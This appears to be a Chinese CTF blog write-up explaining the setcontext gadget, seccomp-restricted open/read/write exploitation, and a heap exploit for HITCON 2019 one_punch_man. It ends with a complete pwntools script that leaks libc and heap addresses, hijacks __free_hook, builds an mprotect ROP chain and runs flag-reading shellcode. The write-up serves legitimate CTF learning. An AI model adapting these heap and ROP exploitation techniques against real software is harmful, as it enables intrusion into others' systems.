study
0%

setcontext+mprotect+orw

发表于

setcontext+mprotect+orw

摆烂多日的第一次提笔，这篇博客其实想写好久了，但是由于各种原因拖到现在，不说废话了，直接开写。

先细致的讲解一下setcontext和orw

setcontext

一个大概函数一样的东西，主要作用就是把通过它把程序跳转到我门已经设置好的rop上面，使用这个手法的条件有两个，一个是你能跳到这个函数上面（拿到程序流），二是控制了rip，下面是setcontext的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0x00007fc35bf5f1b5 <+53>:	mov    rsp,QWORD PTR [rdi+0xa0]
   0x00007fc35bf5f1bc <+60>:	mov    rbx,QWORD PTR [rdi+0x80]
   0x00007fc35bf5f1c3 <+67>:	mov    rbp,QWORD PTR [rdi+0x78]
   0x00007fc35bf5f1c7 <+71>:	mov    r12,QWORD PTR [rdi+0x48]
   0x00007fc35bf5f1cb <+75>:	mov    r13,QWORD PTR [rdi+0x50]
   0x00007fc35bf5f1cf <+79>:	mov    r14,QWORD PTR [rdi+0x58]
   0x00007fc35bf5f1d3 <+83>:	mov    r15,QWORD PTR [rdi+0x60]
   0x00007fc35bf5f1d7 <+87>:	mov    rcx,QWORD PTR [rdi+0xa8]
   0x00007fc35bf5f1de <+94>:	push   rcx
   0x00007fc35bf5f1df <+95>:	mov    rsi,QWORD PTR [rdi+0x70]
   0x00007fc35bf5f1e3 <+99>:	mov    rdx,QWORD PTR [rdi+0x88]
   0x00007fc35bf5f1ea <+106>:	mov    rcx,QWORD PTR [rdi+0x98]
   0x00007fc35bf5f1f1 <+113>:	mov    r8,QWORD PTR [rdi+0x28]
   0x00007fc35bf5f1f5 <+117>:	mov    r9,QWORD PTR [rdi+0x30]
   0x00007fc35bf5f1f9 <+121>:	mov    rdi,QWORD PTR [rdi+0x68]
   0x00007fc35bf5f1fd <+125>:	xor    eax,eax
   0x00007fc35bf5f1ff <+127>:	ret    
   0x00007fc35bf5f200 <+128>:	mov    rcx,QWORD PTR [rip+0x398c61]        # 0x7fc35c2f7e68
   0x00007fc35bf5f207 <+135>:	neg    eax
   0x00007fc35bf5f209 <+137>:	mov    DWORD PTR fs:[rcx],eax
   0x00007fc35bf5f20c <+140>:	or     rax,0xffffffffffffffff
   0x00007fc35bf5f210 <+144>:	ret

不是跳到setcontext的开头，而是跳到53这个位置，当执行下面的代码后，就可以通过rip给很多寄存器赋值，包括rsp，还能通过rcx控制栈顶信息，操作手法就是先通过rdi+0xa0把rsp指向我们伪造的rop的地址，然后再通过rdi+0xa8让rcx储存ret的地址，然后把ret的地址push到栈上，最后的执行顺序就是这样

1
2
3
4
5
6
7
0x7fe87be4e1ff <setcontext+127>        ret  //自己的ret  
    ↓
0x7fe87bdfc8aa                         ret  //push rcx  
    ↓
0x7fe87be1d5bf <init_cacheinfo+239>    pop    rdi//伪造的rop
0x7fe87be1d5c0 <init_cacheinfo+240>    ret

然后还可以通过rop再把程序流跳到别的地方，很好玩。

orw

当有些程序被沙箱保护后就不能直接调用system(“/bin/sh”)来拿到权限了，比如这个程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
rootzhang@ubuntu:~/get-shell/tcache/HITCON 2019 one_punch_man$ seccomp-tools dump ./pwn
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x01 0x0000000a  if (A != mprotect) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x15 0x00 0x01 0x00000003  if (A != close) goto 0024
 0023: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0024: 0x06 0x00 0x00 0x00000000  return KILL

只允许程序调用read,write,open和mprotect这几个我认识的函数，那就只能orw了，不过现在在我看来orw有两种类型，一种是构造rop来完成打印flag,一种是直接构造代码，让他执行orw代码（不过这种需要mprotect协助），调用orw需要通过系统调用来完成，即syscall,每个函数都对应一个调用号，比如open的调用号是2，read的调用号是0，write的调用号是1,调用时对rax赋值就行。

完成前置知识，下面具体题目具体分析

HITCON 2019 one_punch_man

算是复现的最艰难的一道题，除了一些不知道的glibc的特性以外，还因为按照wiki上的思路复现的代码就跑不通，最后自己想出来一个这个笨办法。

源码太长就不看了，主要有四个功能，漏洞是ufa,然后一般情况下只能使用calloc,calloc不能使用tcache上面的堆，其次堆的大小设置为大于0x80,意味着也不能使用fastbin上面的堆，在glibc高版本的情况下使用出fast和tcache的堆拿到程序流很难，好在程序给了后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall sub_15BB(__int64 a1, __int64 a2)
{
  void *buf; // [rsp+8h] [rbp-8h]

  if ( *(char *)(qword_4030 + 32) <= 6 )
    error("gg", a2);
  buf = malloc(0x217uLL);
  if ( !buf )
    error("err", a2);
  if ( read(0, buf, 0x217uLL) <= 0 )
    error("io", buf);
  puts("Serious Punch!!!");
  puts(&unk_2128);
  return puts(buf);
}

只要让这个地址的数大于6就行，当一个地址的数变大首先想到了unsortedattackbin，但libc.2.27.so已经对unsortedbin上面的堆严加管控，当一个堆脱离时，会严格检查fd和bk，通过wiki得知smallbin配合tcache也可以完成类似的行为，比如先让tcache上面的0x200的bin上六个堆，让smallbin的0x200上面上2个堆，然后申请0x200,首先会分配smallbin上面的一个堆给你，让后把另一个堆脱链放入tcache上面，只要更改后面的bk，让其脱链的时候就可以向bk->fd写入一个地址了，这个地址肯定很大，和unsortedbin的思路很像。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
pwndbg> bins
tcachebins
0x130 [  6]: 0x55563b0fa850 —▸ 0x55563b0fa720 —▸ 0x55563b0fa5f0 —▸ 0x55563b0fa4c0 —▸ 0x55563b0fa390 —▸ 0x55563b0fa260 ◂— 0x0
0x210 [  7]: 0x55563b0fb5e0 —▸ 0x55563b0fb3d0 —▸ 0x55563b0fb1c0 —▸ 0x55563b0fafb0 —▸ 0x55563b0fada0 —▸ 0x55563b0fab90 —▸ 0x55563b0fa980 ◂— 0x0
0x220 [  1]: 0x55563b0fe8f0 ◂— 0x0
0x410 [  7]: 0x55563b0fd8b0 —▸ 0x55563b0fd4a0 —▸ 0x55563b0fd090 —▸ 0x55563b0fcc80 —▸ 0x55563b0fc870 —▸ 0x55563b0fc460 —▸ 0x55563b0fc050 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x130: 0x55563b0fdf90 —▸ 0x55563b0fbd00 —▸ 0x7f0f0340adc0 (main_arena+384) ◂— 0x55563b0fdf90

注意修改bk的时候也得让fd有意义，不然fd->bk=bk就会不成立

修改完后就可以使用malloc了，哦对当smallbin上的堆进入tcache上面时tcache就会出问题，不能进只能出，所以0x217得先准备好才行。

脚本

网上搜了一圈，没有像我做的这复杂的，我是用mprotect做的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
context(os='linux',arch='amd64',log_level = 'debug')
sh=process('./pwn')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(idx,name):
    sh.recvuntil('> ')
    sh.sendline('1')
    sh.recvuntil('idx: ')
    sh.sendline(str(idx))
    sh.recvuntil("hero name: ")
    sh.sendline(name)


def rename(idx,name):
    sh.recvuntil('> ')
    sh.sendline('2')
    sh.recvuntil('idx: ')
    sh.sendline(str(idx))
    sh.recvuntil("hero name: ")
    sh.send(name)

def dock(content):
    sh.recvuntil('> ')
    sh.sendline('50056')
    sh.sendline(content)

def retire(idx):
    sh.recvuntil('> ')
    sh.sendline('4')
    sh.recvuntil("idx: ")
    sh.sendline(str(idx))

def show(idx):
    sh.recvuntil('> ')
    sh.sendline('3')
    sh.recvuntil("idx: ")
    sh.sendline(str(idx))

for i in range(0,6):
    add(0,'a'*0x120)
    retire(0)
for i in range(7):
    add(0,'a'*0x200)
    retire(0)
add(1,'a'*0x210)
add(1,'a'*0x210)
add(1,'a'*0x200)
add(2,'a'*0x200)
retire(1)
show(1)
sh.recvuntil('hero name: ')
libc_addr=u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['__malloc_hook']-0x10-96
print hex(libc_addr)
show(0)
sh.recvuntil('hero name: ')
heap_base=u64(sh.recv(6).ljust(8,'\x00'))-0x720-0xcb0
print hex(heap_base)
add(0,'a'*0xd0)
for i in range(7):
    add(0,'a'*0x400)
    retire(0)
add(0,'a'*0x400)
add(1,'a'*0x400)
retire(0)
add(1,'a'*0x2d0)
add(1,'a'*0x400)
add(2,'a'*0x217)
retire(2)
gdb.attach(sh)
payload='a'*0x2d0+p64(0)+p64(0x131)+p64(heap_base+0x1d00)+p64(heap_base+0x17+4)
rename(0,payload)
add(0,'a'*0x120)
rename(2,p64(libc_addr+libc.symbols['__free_hook']))
dock('a'*0x100)
setcontext = libc_addr+libc.sym["setcontext"]+53
dock(p64(setcontext))
ret=libc_addr+0x00000000000008aa
pop_rdi=libc_addr+0x215bf
pop_rsi=libc_addr+0x0000000000023eea
pop_rdx=libc_addr+0x0000000000001b96
mprotect_addr=libc_addr+libc.sym['mprotect']
rename(0,'./flag.txt\x00')
flag_addr=heap_base+0x1d10
shellcode = '''
mov rax,{0}
mov rdi, rax
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
xor rax, rax
mov rdi, 3
mov rsi, {1}
mov rdx, 0x25
syscall
mov rax, 1
mov rdi, 1
mov rsi, {2}
mov rdx,0x25
syscall
''' .format( flag_addr,heap_base+0x48f0,heap_base+0x48f0)
rename(1,asm(shellcode,arch='amd64'))
shellcode_addr=heap_base+0x44e0
mprotect_rop=p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(0x6000)+p64(pop_rdx)+p64(7)+p64(mprotect_addr)+p64(shellcode_addr)
add(0,'a'*0x200)
rename(0,mprotect_rop)
rop_addr=heap_base+0x4b10
add(1,'a'*300)
rename(1,'a'*0xa0+p64(rop_addr)+p64(ret))

retire(1)
sh.interactive()